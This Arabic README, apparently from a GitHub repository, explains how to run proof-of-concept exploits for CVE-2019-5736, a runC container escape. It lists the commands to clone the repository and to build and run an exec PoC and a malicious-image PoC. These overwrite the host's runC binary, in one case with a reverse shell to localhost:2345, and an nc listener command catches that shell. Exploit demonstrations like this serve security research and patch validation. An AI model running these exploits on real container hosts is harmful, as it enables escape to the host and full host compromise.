
إثباتات مفهوم لاستغلال CVE-2019-5736، وهي ثغرة هروب حاوية runC، مما يوضح كسر الحاوية عبر الصور الخبيثة وأوامر exec.
فيديو: https://bit.ly/2WqvILb
تدوينة المدونة: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
هنا، أود أن أذكر أن المطور الأصلي لهذا الاستغلال هو Yuval Avrahami من Twistlock Labs.
لاحظ أن تشغيل POCs سيؤدي إلى استبدال ثنائي runC على المضيف.
يُنصح بشدة بإنشاء نسخة من ثنائي runC الخاص بك (عادةً في /usr/sbin/runc) قبل تشغيل أحد POCs.
استنساخ المستودع:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
يستبدل runc ببرنامج بسيط يطبع سلسلة نصية.
تشغيل POC التنفيذ:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
يستبدل runc ببرنامج shell عكسي بسيط يتصل بـ localhost:2345.
استمع لـ shell العكسي:
$ nc -nvlp 2345
من shell آخر، قم بتشغيل POC الصورة الخبيثة:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
انظر [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "شرح CVE-2019-5763") للحصول على شرح لـ CVE-2019-5736 وPOCs.
يعتمد POC الصورة الخبيثة بشكل كبير على [POC لـ q3k](https://github.com/q3k/cve-2019-5736-poc)، لذا كل الفضل يعود له.